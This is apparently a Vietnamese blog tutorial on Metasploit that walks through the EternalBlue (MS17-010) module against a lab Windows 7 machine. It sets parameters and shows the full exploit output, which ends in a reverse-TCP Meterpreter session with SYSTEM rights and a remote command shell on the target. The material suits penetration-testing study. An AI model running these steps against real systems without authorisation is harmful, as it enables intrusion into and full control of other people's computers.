Bắt đầu

Bạn có thể khởi chạy một máy ảo mục tiêu để thử nghiệm ví dụ này.

Đầu tiên dùng search để tìm mô-đun cần thiết, sau đó sử dụng use để chọn mô-đun. Ở bài này tôi sẽ không nói rõ bước này.

msf6 > use exploit/windows/smb/ms17_010_eternalblue 

Khi bạn đã vào ngữ cảnh của một mô-đun bằng cách sử dụng use MODULE_NAME, bạn sẽ cần thiết lập các tham số. Các thông số phổ biến nhất bạn sẽ sử dụng được liệt kê dưới đây. Hãy nhớ rằng, tuỳ vào mô-đun bạn sử dụng, các thông số bổ sung hoặc khác có thể cần được thiết lập. Thực hành tốt là sử dụng show options để liệt kê các tham số cần thiết.

Tất cả các tham số được đặt bằng lệnh set PARAMETER_NAME VALUE

Dấu nhắc lệnh

Regular prompt: Bạn không thể sử dụng các lệnh Metasploit tại đây.

root@kali:~#

msfconsole prompt: msf5 (hoặc msf6 tùy thuộc vào phiên bản của msf). Đây là giao diện khi vào metasploit.

msf6 >

context prompt: Khi bạn đã sử dụng mô-đun, msfconsole sẽ hiển thị ngữ cảnh. Bạn có thể sử dụng các lệnh cụ thể (ví dụ: set RHOSTS)

msf6 exploit(windows/smb/ms17_010_eternalblue) >

Meterpreter prompt: Meterpreter là một payload quan trọng được tải vào hệ thống đích và kết nối trở lại với bạn. Bạn có thể sử dụng các lệnh cụ thể của Meterpreter tại đây.

meterpreter >

target shell: Sau khi khai thác xong, bạn có thể có quyền truy cập vào shell trên hệ thống đích. Đây là mỗi trường dòng lệnh và tất cả các lệnh được nhập ở đây đều chạy trên hệ thống đích.

C:\Windows\system32>

Đặt tham số

Như đã đề cập trước đó, lệnh  show options sẽ liệt kê tất cả các tham số có sẵn.

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.44.70      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs


msf5 exploit(windows/smb/ms17_010_eternalblue) >

Như bạn có thể thấy, một số tham số này yêu cầu một giá trị để khai thác hoạt động. Một số giá trị thông số bắt buộc sẽ được điền trước, hãy đảm bảo bạn kiểm tra xem những giá trị này có được giữ nguyên cho mục tiêu của bạn hay không.

Ví dụ: một khai thác web có thể có giá trị RPORT (remote port: cổng trên hệ thống đích mà Metasploit sẽ cố gắng kết nối và chạy khai thác) đặt trước giá trị là 80, nhưng ứng dụng web mục tiêu của bạn có thể đang sử dụng cổng 8080.

Trong ví dụ này, chúng ta sẽ cần đặt tham số RHOSTS thành địa chỉ IP của hệ thống mục tiêu bằng cách sử dụng lệnh set.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.211.136
RHOSTS => 192.168.211.136

RHOSTS (remote host): địa chỉ IP của hệ thống đích. Có thể đặt một địa chỉ IP hoặc một dải mạng. Hỗ trợ ký hiệu CIDR (Định tuyến liên miền không phân lớp) (/24, /16, v.v.) hoặc phạm vi mạng (10.10.10.x – 10.10.10.y). Bạn cũng có thể sử dụng một file trong đó các mục tiêu được liệt kê, một mục tiêu trên mỗi dòng bằng cách sử dụng file:/root/Desktop/target.txt.

Bạn có thể sử dụng setg (set global) để đặt các giá trị cho tất cả các mô-đun giống như lệnh set.

Khai thác

Khi tất cả các tham số của mô-đun được thiết lập, bạn có thể khởi chạy mô-đun bằng lệnh exploit hoặc run khi sử dụng các mô-đun không phải là khai thác (trình quét cổng, trình quét lỗ hổng, v.v.).

Một số mô-đun hỗ trợ lệnh check kiểm tra xem hệ thống đích có dễ bị tấn công hay không mà không cần khai thác nó.

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.211.137:4444 
[*] 192.168.211.136:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.211.136:445   - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.211.136:445   - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.211.136:445 - The target is vulnerable.
[*] 192.168.211.136:445 - Connecting to target for exploitation.
[+] 192.168.211.136:445 - Connection established for exploitation.
[+] 192.168.211.136:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.211.136:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.211.136:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.211.136:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.211.136:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.211.136:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.211.136:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.211.136:445 - Sending all but last fragment of exploit packet
[*] 192.168.211.136:445 - Starting non-paged pool grooming
[+] 192.168.211.136:445 - Sending SMBv2 buffers
[+] 192.168.211.136:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.211.136:445 - Sending final SMBv2 buffers.
[*] 192.168.211.136:445 - Sending last fragment of exploit packet!
[*] 192.168.211.136:445 - Receiving response from exploit packet
[+] 192.168.211.136:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.211.136:445 - Sending egg to corrupted connection.
[*] 192.168.211.136:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.211.136
[*] Meterpreter session 1 opened (192.168.211.137:4444 -> 192.168.211.136:49159) at 2022-07-12 02:03:09 -0400
[+] 192.168.211.136:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.211.136:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.211.136:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

Khi một lỗ hổng đã được khai thác thành công (bạn có thể thấy WIN ở trên), một meterpreter sẽ được tạo. Đây là kênh liên lạc được thiết lập giữa hệ thống mục tiêu và Metasploit.

Ngoài ra, bạn có thể Ctrl+Z để thoát ra phiên nền. Lệnh sessions để xem các phiên hiện có.

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN7-PC  192.168.211.137:4444 -> 192.168.211.136:49159 (192.168.211.136)

Để quay lại phiên, bạn có thể sử dụng lệnh sessions -i SESSION_ID

msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Bạn có thể sử dụng lệnh shell để truy cập vào shell máy mục tiêu.

meterpreter > shell
Process 1224 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

Bây giờ bạn đã có thể truy cập các lệnh từ máy mục tiêu.

Leave a Reply

This site uses cookies to offer you a better browsing experience. By browsing this website, you agree to our use of cookies.